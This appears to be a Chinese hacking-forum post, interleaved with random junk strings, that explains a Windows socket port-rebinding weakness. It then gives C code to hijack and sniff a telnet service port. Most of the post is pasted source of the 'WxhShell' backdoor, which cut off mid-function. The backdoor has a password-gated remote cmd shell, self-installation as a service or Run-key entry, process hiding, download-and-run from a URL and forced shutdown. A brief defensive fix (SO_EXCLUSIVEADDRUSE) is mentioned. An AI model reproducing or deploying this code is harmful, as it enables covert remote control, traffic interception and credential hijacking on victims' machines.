-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x3ds{Z$,>( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?VC[%sjwn ybWb'+x saddr.sin_family = AF_INET; OO)m{5r,{ !OwRx5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); T}DP35dBzE e}|UVoeH bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4`Com~`6" OsS5WY0H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i4 BCm/h $`7cs}# 这意味着什么?意味着可以进行如下的攻击: QLNQE 6- yEYlQ= [# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o$dnp`E "#7~}ZB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L,!3 cEkf9:_La 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cYBv}ylw}R FPM@%U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 l| 1O9I0Gd __x2xtrH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _TF\y@hF*D M4hzf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K$>C*?R 5sbMp;ZM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y+3<
]
N "`pI!nj #include G$X+g{ #include bs-O3w #include
s>}ScJZK #include `
VL`8 DWORD WINAPI ClientThread(LPVOID lpParam); CiE int main() :',.I { 88 fH!6b WORD wVersionRequested; Yh`P+L DWORD ret; Tac7+=T WSADATA wsaData; T&.ZeB1 BOOL val; J%|!KQl SOCKADDR_IN saddr; QR'yZ45n4 SOCKADDR_IN scaddr; i:ar{ q int err; oK;.|ja SOCKET s; bn`1JI@S4 SOCKET sc; U\N|hw#f!! int caddsize; HKA7|z9{ HANDLE mt; w+ZeVZv!r DWORD tid; }?f%cRT$ wVersionRequested = MAKEWORD( 2, 2 ); "9=F/o9 err = WSAStartup( wVersionRequested, &wsaData ); #X&`gDW if ( err != 0 ) { sSVgDQ~q printf("error!WSAStartup failed!\n"); :r0?[#r?N, return -1; Q+e|;Mj } 0!v+ + saddr.sin_family = AF_INET; "#uXpCuw |Sg
FHuA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sFNB rL B+:'Ld]( saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O`2;n.>\ saddr.sin_port = htons(23); _YVp$aKDR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U
00}jH { Y8I*B=7 printf("error!socket failed!\n"); g70B22!y return -1; ;B[*f?y- } ?m3,e&pB5 val = TRUE; ;>?NH6B, //SO_REUSEADDR选项就是可以实现端口重绑定的 c}9.Or`? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZJev_mj { eNN)2-96 printf("error!setsockopt failed!\n"); &Q7vY return -1; HorFQ?8 } L\L/+yNv:G //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J!sIxwF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a4gJ-FE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %";bgU2Q (8C
,"Dc[0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *QAcp` ;* { (ly4[G1y ret=GetLastError(); >5Vv6_CI0? printf("error!bind failed!\n"); 9pN},F91n: return -1; I
f9t^T# } aiP.\`>} listen(s,2); ~(4;P%L: while(1) eR,ePyA; { uveby:dh caddsize = sizeof(scaddr);
^J,Zl`N //接受连接请求 ^O_E
T$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )H&rr( if(sc!=INVALID_SOCKET) OgpZwwk { ?Rlo<f:Mf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @1_M's; if(mt==NULL) HyKvDJ
3_ { 2l5>>yY printf("Thread Creat Failed!\n"); };5d>#NK,Y break; 3 ZO\Pu } @BbqYX } |E/r64T CloseHandle(mt); K&2{k+w } &s.S)'l4l closesocket(s); 5>{S^i~! WSACleanup(); 9r,)Bw!RP return 0; 6CoDn(+z } /"w%?Ea DWORD WINAPI ClientThread(LPVOID lpParam) (~6oA f { Ae,P&( SOCKET ss = (SOCKET)lpParam; p*F.WxB)4 SOCKET sc; "`l8*]z unsigned char buf[4096]; M`6rI SOCKADDR_IN saddr; '6Lw<#It long num; #~(J
J DWORD val; L\1&$|? DWORD ret; y8jwfO3 //如果是隐藏端口应用的话,可以在此处加一些判断 D?yiK=:08` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 !Z f<
j saddr.sin_family = AF_INET; p:kHb@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fO6i saddr.sin_port = htons(23); IGKF&s*;{[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rVo0H.+N)` { /_yJ;l/K printf("error!socket failed!\n"); >NL4&MV: return -1; PtR8m=O } N@Fof(T& val = 100; <kJ,E[4` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8RGU^& { X8l|^[2F ret = GetLastError(); IIrp-E MXJ return -1; 1DzI@c~X } IrIF 853g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %d3KE|&u { Pe-1o#7~W ret = GetLastError(); Jat|n97$ return -1; pAZD>15l" } NR </Jm* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =a!w)z_rw { S5a?KU printf("error!socket connect failed!\n"); 3m2hB%SNb closesocket(sc); 9d5|rk8VS closesocket(ss); tCoT-\Q return -1; "9>.,nzt } 1?!z<< while(1) j,:vK { Ml bQLtw //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YwYCXFQ| //如果是嗅探内容的话,可以再此处进行内容分析和记录 .(2Zoa //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D'
d^rT| H num = recv(ss,buf,4096,0); P LHiQ: if(num>0) vh29mzum send(sc,buf,num,0); ^seb8o7 else if(num==0) 7[ 82~jM[ break; !:zWhu, num = recv(sc,buf,4096,0); 3Gr:.V9= if(num>0) -FxE!K send(ss,buf,num,0); )p?p39>h else if(num==0) f_{OU
E break; `X mT)C } q!r4"#Y"@Z closesocket(ss); .YYLMI closesocket(sc); 948 lL& return 0 ; ~a5-xWEZ } N51g<K liU/O:Ap X3# AYn, ========================================================== i,3[0*ge 3$~6+i 下边附上一个代码,,WXhSHELL ,.Sd)JB' \R}`S`fIw` ========================================================== j1Ng[ {(00,6M)i #include "stdafx.h" CcDi65s JsDugn ,B #include <stdio.h> [UW%(N #include <string.h> &a/F"?9jL #include <windows.h> da,;IE{1u #include <winsock2.h> ,xhB #include <winsvc.h> ue/GB+U #include <urlmon.h> 3Mlwq'pzD ea\b7a* #pragma comment (lib, "Ws2_32.lib") o5;V=8T; #pragma comment (lib, "urlmon.lib") XH"-sZt [WAnII #define MAX_USER 100 // 最大客户端连接数 N.l\2S} #define BUF_SOCK 200 // sock buffer r6u)
6J= #define KEY_BUFF 255 // 输入 buffer }BR@vY'd hU]Gv)B #define REBOOT 0 // 重启 q|EE
em #define SHUTDOWN 1 // 关机 ruf*-&Kr7 s?}m~Pl #define DEF_PORT 5000 // 监听端口 /8s+eHn&% `g~T #U\>d #define REG_LEN 16 // 注册表键长度 vT&xM #define SVC_LEN 80 // NT服务名长度 N8-!}\, CnvM>] // 从dll定义API Fh3>y2`/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +OTNn@!9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z4UJo!{S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ivi,/~L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o`EL)K{ "j]85 // wxhshell配置信息 iW\Q>~0#_ struct WSCFG { .w@o%AO_ int ws_port; // 监听端口 1638U1 char ws_passstr[REG_LEN]; // 口令 +)cjW"9 int ws_autoins; // 安装标记, 1=yes 0=no L6jD4ec8 char ws_regname[REG_LEN]; // 注册表键名 Px$4.b[{_Y char ws_svcname[REG_LEN]; // 服务名 *w/})Y3^ char ws_svcdisp[SVC_LEN]; // 服务显示名 SZ*Nr=X char ws_svcdesc[SVC_LEN]; // 服务描述信息 ahnQq9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ":G\ int ws_downexe; // 下载执行标记, 1=yes 0=no j1sZRl)D char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ;n"Nv}<C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;%/Kh :Vg 1X7tN2tQ }; M|l`2Hpe ujt0?DM // default Wxhshell configuration 8=!BtMd" struct WSCFG wscfg={DEF_PORT, -76l*=| "xuhuanlingzhe", \]a@ NBv 1, SCUsDr+. "Wxhshell", %xH2jf "Wxhshell", yN4K^# "WxhShell Service", (C=.&',P "Wrsky Windows CmdShell Service", HLa3lUo "Please Input Your Password: ", c-dOb.v0 1, oOj7y>Nm " http://www.wrsky.com/wxhshell.exe", @+,J^[ y "Wxhshell.exe" F"?OLV1B& }; |v[0( Rb8wq.LqD // 消息定义模块 ^@"EI|fsP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]3%(
'8/ char *msg_ws_prompt="\n\r? for help\n\r#>"; m,TN%*U! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Kpx(x0^2 char *msg_ws_ext="\n\rExit."; 5,;>b^gXY` char *msg_ws_end="\n\rQuit."; W>*9T? char *msg_ws_boot="\n\rReboot..."; +li<y`aw0 char *msg_ws_poff="\n\rShutdown..."; .*3.47O char *msg_ws_down="\n\rSave to "; &ml7368@ }ob&d.XZ char *msg_ws_err="\n\rErr!"; \N[Z58R !z char *msg_ws_ok="\n\rOK!"; 6~t;&)6J 9MI~yIt`L char ExeFile[MAX_PATH]; ?c$z?QTMJ int nUser = 0; >Fzs%]M HANDLE handles[MAX_USER]; ]rpU3 3 int OsIsNt; -{^I T` PqhR^re0. SERVICE_STATUS serviceStatus; N3Yf3rK SERVICE_STATUS_HANDLE hServiceStatusHandle; R[%ZyQ_ ,?OWwm&J // 函数声明 Ui^~A int Install(void); 8`0/?MZ) int Uninstall(void); =.sg$VX int DownloadFile(char *sURL, SOCKET wsh); g"F&~y/p int Boot(int flag); ;AjY-w void HideProc(void); Q"@x,8xW int GetOsVer(void); (pU@$H int Wxhshell(SOCKET wsl); ^iHwv*ss void TalkWithClient(void *cs); wOlnDQs int CmdShell(SOCKET sock); s5
P~feg int StartFromService(void); ,bLHkBK int StartWxhshell(LPSTR lpCmdLine); -_p +4tV MPtn$@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pKnM= N1f VOID WINAPI NTServiceHandler( DWORD fdwControl ); -F-RWs{yS FK^JCs^ // 数据结构和表定义 w,,QXJe{Z_ SERVICE_TABLE_ENTRY DispatchTable[] = +i@r-OL { _N-.=86* {wscfg.ws_svcname, NTServiceMain}, /|)VO?*D {NULL, NULL} ~)ecQ }; g}vOp3^ 4F-r }Fj3 // 自我安装 `ZC{<eVJ}= int Install(void) #lf3$Tm D { >BDK?YMx char svExeFile[MAX_PATH]; 0G`F Xj}L HKEY key; Ez= Q{g strcpy(svExeFile,ExeFile); ptCFW_UV B;3lF;3` // 如果是win9x系统,修改注册表设为自启动 fpDx)lQ if(!OsIsNt) { 2i~ tzo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :3uCW1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;x|E}XD RegCloseKey(key); yX {CV7%O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tR!!Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $RFy9(> RegCloseKey(key); l[MP|m# return 0; gH0'
Ok' } HP$GI } a-A>A_. } Rr9K1io$) else { ]YO &_# M_:_(y>l // 如果是NT以上系统,安装为系统服务 c7E|GZ2Hc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Eeumi#$Z if (schSCManager!=0) JTw< 4] { CJDnHuozc SC_HANDLE schService = CreateService (9"w{pnlLc ( U#u=9%' schSCManager, Q)n6.%V/e wscfg.ws_svcname, #|ppW fZQ wscfg.ws_svcdisp, CQ4MQ<BJ. SERVICE_ALL_ACCESS, s_/a1o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i gyTvt! SERVICE_AUTO_START, Gr&)5hm$ SERVICE_ERROR_NORMAL, oPqWL9] svExeFile, *2?-6 NULL, Ojh\H NULL, P,QI-, NULL, F+c4v A}) NULL, (oftq!X2 NULL o'Uaz*-po ); $jc&Tk# if (schService!=0) o_(@v2G` { 75^U<Hz-3{ CloseServiceHandle(schService); s`Y8&e.Yr CloseServiceHandle(schSCManager); SZ;Is,VgU4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k3 YDnMRA9 strcat(svExeFile,wscfg.ws_svcname); (= T%eJ61 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (3_m[N\F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #835$vOe RegCloseKey(key); pPa3byWf return 0; }#b[@3/T } 5>S<9A|Q } mh4<.6>5 CloseServiceHandle(schSCManager); VJ8"Q } %6%QE'D } oZ/z{` ~"Q24I return 1; LE'8R~4.< } <%SG
<|t 68!W~%?pR // 自我卸载 RqONVytx int Uninstall(void) 0tFR.
sS? { .$rt>u,8< HKEY key; :Sd"~\N+ q[wVC
h if(!OsIsNt) { 6>hW.aq} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O1
KT RegDeleteValue(key,wscfg.ws_regname); Jtv~n RegCloseKey(key); Yu`KHvur if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jn+k$'6%# RegDeleteValue(key,wscfg.ws_regname); T1([P!g* RegCloseKey(key); QMI6l'"s return 0; /_?y]Ly[r } d4 r@Gx%BE } 88}=VS } Cb1fTl% else { mj!P
] Wifr%&t{J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \nKpJ9! if (schSCManager!=0) w]&
o]VP { X`+8rO[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c:@lR/oe" if (schService!=0) pAm
L { .O1Kwu if(DeleteService(schService)!=0) { `nvm>u~[Hq CloseServiceHandle(schService); `\]gNn'Q CloseServiceHandle(schSCManager); fPj*qi return 0; ]i@WZ( } 4Gsbcl{ CloseServiceHandle(schService); v<Ozr:lL } -!s?d5k") CloseServiceHandle(schSCManager); Pi!3wy } FL /395 <: } ]rY3bG'& ?!{nN J return 1; =a]B#uUn } |nu)=Ag Ed^F_Gg# // 从指定url下载文件 s7(I int DownloadFile(char *sURL, SOCKET wsh) X^%E"{!nU { w<o#/J9 HRESULT hr; G#f(oGn : char seps[]= "/"; \U\k$ ( char *token; }vof| (Yh char *file; <8?jn*$;\ char myURL[MAX_PATH]; b~L8m4L char myFILE[MAX_PATH]; gT=RJB *qN(_ strcpy(myURL,sURL); M,WC+")Z= token=strtok(myURL,seps); 4hLv"R. while(token!=NULL) WokQ
X" { }w%W A&"W file=token; *9?T?S|^$F token=strtok(NULL,seps); )tB1jcI; } NW*qw q <M,A:u\qSQ GetCurrentDirectory(MAX_PATH,myFILE); Ze:Y"49S+> strcat(myFILE, "\\"); `JrvD strcat(myFILE, file); ^;xO-;q send(wsh,myFILE,strlen(myFILE),0); +'{@Xe} send(wsh,"...",3,0); P?Fm<s: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h=`1sfz if(hr==S_OK) uV'w0`$y return 0; TXDb5ZCzM else w-3 B~e return 1; |AS`MsbI9 tc%0yr9 } G1`H
H& Dn9AOi! // 系统电源模块 c~=yD:$ int Boot(int flag) $>M A { A!\-e*+W= HANDLE hToken; iI.d8}A TOKEN_PRIVILEGES tkp; -1P*4H2a LmA I vEr if(OsIsNt) { -Z/'kYj?U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TzW1+DxM5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W2CQk tkp.PrivilegeCount = 1; faJ>,^V# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k"V@9q;* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M^$liS.D if(flag==REBOOT) { (XDK&]U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =C[2"Y4JK0 return 0; 0k7kmDW } #FHyP1uyc else { @jp}WwC/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wV,l }Xb- return 0; O(Tdn;1 } XJ.ERLR. } [Tq\K ^!^ else { e#uk+] if(flag==REBOOT) { D]h~\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t'F_1P^*/ return 0; E{-W#}# } 9j6 else { V L&5TZtz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7rdPA9 return 0; O [81nlhS0 } <g^!xX<r? } W,[b:[~v `PY>p!E return 1; ji|`S\u#b } _#nP->0) b)eKa40Z // win9x进程隐藏模块 o=,q4;R' void HideProc(void) hjgxCSp { mOUIGlv N]k(8K HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yp_R+a^ if ( hKernel != NULL ) ;AwQpq>dy { ``:AF: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2[*r9%W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q hPvU(
, FreeLibrary(hKernel); _v+mjDdQ } O;ty
k_yM -UPlQL return; dX58nJ4u } Y\qiYra B f_oIc // 获取操作系统版本 B3P#p^ int GetOsVer(void) (j%d{y4 { #()u=) OSVERSIONINFO winfo; p:hzLat~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8"#Ix1# GetVersionEx(&winfo); 4[ S0~O{r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C(7Y5\"P return 1; 4@wH4H8 else f|*vWHSM return 0; ~)zoIM \ } ^Fl6-|^~ M=n_;3,o // 客户端句柄模块 Zm:Wig
,a int Wxhshell(SOCKET wsl) Kzs]+Cl { s{- `y`JP SOCKET wsh; |vZ\tQ
struct sockaddr_in client; :.-z) C} DWORD myID; }+L!r53g6 Y}bJN%M while(nUser<MAX_USER) #nE%.k|R~ { )Tc eNH int nSize=sizeof(client); T41&;?- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4DVkycM if(wsh==INVALID_SOCKET) return 1; w>IYrSaa> ~=Y<B/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |EJ&s393& if(handles[nUser]==0) ZD9UE3- closesocket(wsh); FTy`#*7Ul else IX7|_ci nUser++; )p-B@5bb } jhWNMu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rx*1S/\PPc oRM,_ return 0; \(a9rZ9 } JD^&d~n_
Wt&tu2 // 关闭 socket e!wS"[, void CloseIt(SOCKET wsh) `L(AvSR { ~-,P1u! closesocket(wsh); kO:iA0KUX nUser--; w#Y<~W& ExitThread(0); <qzHMyAi } T/
CI?sn `0rEV_$ // 客户端请求句柄 b9[KdVsT6^ void TalkWithClient(void *cs) R|T_9/#) { //G5lW/* \A\a=A[ SOCKET wsh=(SOCKET)cs; =nEl m*E char pwd[SVC_LEN]; '#SacJ\L7
char cmd[KEY_BUFF]; =:U63 char chr[1]; Aa;R_Jz int i,j; b|T}mn ?op6_a-wm while (nUser < MAX_USER) { 4uv'l3 Bv$;yR if(wscfg.ws_passstr) { J{=by]-rD, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); br"p D-} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^5biD9>M //ZeroMemory(pwd,KEY_BUFF); h3issi+N i=0; M:OY8=V while(i<SVC_LEN) { w\pD'1e cpB$b C]( // 设置超时 E9 QA<w fd_set FdRead; A%n
l@`s, struct timeval TimeOut; 9rX[z : FD_ZERO(&FdRead); h"KN)xi$ FD_SET(wsh,&FdRead); "4LYqDe TimeOut.tv_sec=8; 5AR\'||u TimeOut.tv_usec=0; TuphCu+Oh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E.?|L-fy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `gy]|gS#b A'qJke= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w,]cFT pwd =chr[0]; ]yN]^%PYH if(chr[0]==0xd || chr[0]==0xa) { =^4 vz=2 pwd=0; >`8r 52 break; 7|3Z+#|T } Py6c=&* i++; St/Hv[H'[E } q@P5c |sHIT<=m // 如果是非法用户,关闭 socket o"t+G/M if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pL>Q'{7s3 } kRnh20I E0}`+x send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?3Wh.%n send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fR!'i):u 'OSZ'F3PV while(1) { b mZRCvW>A 0R<@* ZeroMemory(cmd,KEY_BUFF); 5KU}dw>*g t/HMJ // 自动支持客户端 telnet标准 {hK$6bD3^ j=0; |)i-c`x while(j<KEY_BUFF) { GDP@M)~6* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V;ZyAp cmd[j]=chr[0]; ^x%yIS if(chr[0]==0xa || chr[0]==0xd) { }S3m
wp<Y cmd[j]=0; ?Jm/v%0O break; -DhF> 4f } S0 M-$ j++; A/%K= H? } dx}()i\@ l%.3hId- // 下载文件 ):jKsP
, if(strstr(cmd,"http://")) { =(K;z9OR send(wsh,msg_ws_down,strlen(msg_ws_down),0); }8GCOY if(DownloadFile(cmd,wsh)) P~iu|j send(wsh,msg_ws_err,strlen(msg_ws_err),0); i 4lR$]@ else Z<K[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YMad]_XOP } ZU7e1VaZM else { <^|8\<J .l"_f switch(cmd[0]) { ,d<wEB?\` #JeZA0r5 // 帮助 J %jfuj case '?': { K&<bn22 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wk$[;>NU3 break; cIK-VmO } qbu Lcy3 // 安装 C0zE<fl case 'i': { h"Yi' if(Install()) ='T<jV`evu send(wsh,msg_ws_err,strlen(msg_ws_err),0); .@JXV
$Z else B4pheKZ2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6gY5v@!w break; *bDuRr?v9 } zv||&Hi // 卸载 DoX#+
07u4 case 'r': { %A`f>v.7 c if(Uninstall()) G#@o6r send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=Z|Ji# else rr'RX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -uqJ~g D break; >e($T!}Z } ;gTdiwfgZ= // 显示 wxhshell 所在路径 }N:0%Gk[; case 'p': { |L.QIr,jCC char svExeFile[MAX_PATH]; 66fvS}x strcpy(svExeFile,"\n\r"); 5'?K(Jdmp strcat(svExeFile,ExeFile); jl{>>TW{x send(wsh,svExeFile,strlen(svExeFile),0); acdaDY break; |s+[489g'6 } |0ACapp! // 重启 FcdbL,}=< case 'b': { Eh#W*Bg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l131^48U if(Boot(REBOOT)) M,8a$Mdqh send(wsh,msg_ws_err,strlen(msg_ws_err),0); &`0y<0z else { 8GN0487H closesocket(wsh); qi;@A-cq ExitThread(0); [53rSr } `8\_ ]w0 break; I{;s.2 } _' Xt // 关机 CA7tI >y_ case 'd': { F]N9ZWn/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 15x~[?! if(Boot(SHUTDOWN)) #b4`Wcrj send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6vQAeuz<Fq else { eA$9)K1GO closesocket(wsh); s+2\uMwf* ExitThread(0); 3cBuqQ } \vT0\1:|i break; 7h<B:~(K } MIub^ $<C // 获取shell z
`T<g!Y case 's': { 5]:fkx CmdShell(wsh); @C0{m7q closesocket(wsh); usZmf=p-r ExitThread(0); 4 C/ break; F6dm_Oq& } >(ku* // 退出 f$Q#xlQM case 'x': { *^bqpW2$q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h$)!eSu CloseIt(wsh); y>'^<xk break; %0YwaxXPn7 } #.$p7] // 离开 RnPJ,Z5s&& case 'q': { Us+|L |/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xt(w+ closesocket(wsh); bU/5ug. WSACleanup(); 0t*JP exit(1); eh2 w7@7Q break; \m1r(*Ar } {xi$'r } 0R\lm<& } %a&Yt kLU$8L // 提示信息 %L.,:m tq) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =>-:o:Cu{ } Lfx&DK ! } \`;FL\1+W Tm-Nz7U^^ return; !R-M:| } -^=gQ7f9 +v2Fr} // shell模块句柄 HUuL3lYka int CmdShell(SOCKET sock) vQ2kL`@ { v
T2YX5k&, STARTUPINFO si; j!B+Q ZeroMemory(&si,sizeof(si)); YQ}Rg5o si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x[U/
8#f& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z)<ljW PROCESS_INFORMATION ProcessInfo; A1Ia9@=Mf char cmdline[]="cmd"; L,*2tJcC< CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oFB~)}f<v return 0; Ac0C,*|^ } I7ZY9W(S )WF]v"t // 自身启动模式 UX}ZE.cV int StartFromService(void) !*HH5qh6 { w{f!t8C*s typedef struct /5 B{szf { 9G_bM(q'^2 DWORD ExitStatus; bq/m?; DWORD PebBaseAddress; Qu,W3d DWORD AffinityMask; + ObP[F DWORD BasePriority; h}k)7 ULONG UniqueProcessId; srXGe`VL ULONG InheritedFromUniqueProcessId; Pc#8~t}2 } PROCESS_BASIC_INFORMATION; qqA(Swe)T .I$Q3%s PROCNTQSIP NtQueryInformationProcess; C&YJvMu ,V'+16xW static 